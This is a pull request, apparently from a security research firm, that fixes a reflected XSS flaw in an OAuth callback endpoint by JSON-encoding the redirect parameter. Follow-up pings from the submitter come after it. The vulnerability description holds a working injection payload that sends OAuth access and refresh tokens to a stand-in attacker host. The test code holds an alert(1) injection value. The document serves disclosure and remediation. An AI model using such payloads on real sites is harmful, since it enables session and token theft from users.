fix(auth): JS-encode redirect_to to prevent XSS in auth_callback

[failsafesecurity]

Summary

This PR fixes a Reflected XSS vulnerability in the OAuth callback endpoint (/auth/callback).

Severity: HIGH
CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting)
CVSS: 8.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)

Vulnerability

The /auth/callback endpoint is a public OAuth redirect handler that:

1. Accepts a user-controlled redirect_to query parameter
2. Validates it only with startswith(APP_URL) — which does not prevent JavaScript-special characters
3. Renders it into a <script> block via Jinja2 without JavaScript string encoding (autoescape is disabled)

The template renders:

<script nonce="...">
  window.location.replace('{{ dashboard_url }}');  <!-- unescaped! -->
</script>

An attacker can bypass the startswith check with a URL like:

https://app.agentops.ai');fetch('https://attacker.com/?t='+btoa(location.hash))//

During an OAuth login flow, location.hash contains #access_token=...&refresh_token=..., enabling session token theft via this XSS.

The invite query parameter is equally injectable (it's embedded into the redirect URL without validation before the startswith check is applied).

Fix

1. app/api/agentops/auth/views.py:

   • Apply json.dumps() to redirect_to before template rendering — this produces a JavaScript-safe quoted string literal with ', ", and other JS-special characters properly escaped
   • Validate the invite parameter with a strict alphanumeric regex before incorporating it into the redirect URL

2. app/api/agentops/auth/templates/auth_callback.html:

   • Remove the outer single-quotes in window.location.replace('{{ dashboard_url }}') since json.dumps already includes the enclosing quotes

Testing

# Before fix — injected JS executes:
response = client.get("/auth/callback?redirect_to=https://app.agentops.ai');alert(1)//")
assert "');alert(1)//" in response.text  # XSS present

# After fix — injection safely encoded:
response = client.get("/auth/callback?redirect_to=https://app.agentops.ai');alert(1)//")
assert "'" in response.text or "'" in response.text  # encoded

---

Reported by FailSafe Security Research. Please contact security@agentops.ai for coordinated disclosure details.

[failsafesecurity]

Hi maintainers 👋

This vulnerability was found by FailSafe — a top agentic cybersecurity company specializing in automated deep security analysis of AI/ML and agentic codebases.

We're reporting these initial findings as a social good contribution to help secure the open-source AI ecosystem. If you'd like us to perform a deeper, more comprehensive security scan of your project, we'd love to hear from you — reach out at joshua@getfailsafe.com.

Thanks for maintaining this project! 🙏

[failsafesecurity]

Thanks for reviewing this security fix. Just a friendly ping — this PR has been open for a while. Happy to adjust the approach if you have any concerns. No rush, just want to make sure it stays on your radar.

[failsafesecurity]

Friendly follow-up on this security PR. It has been open for a while without human reviewer feedback. Happy to rebase, trim the patch, or adjust the approach if that helps. Thanks for taking a look.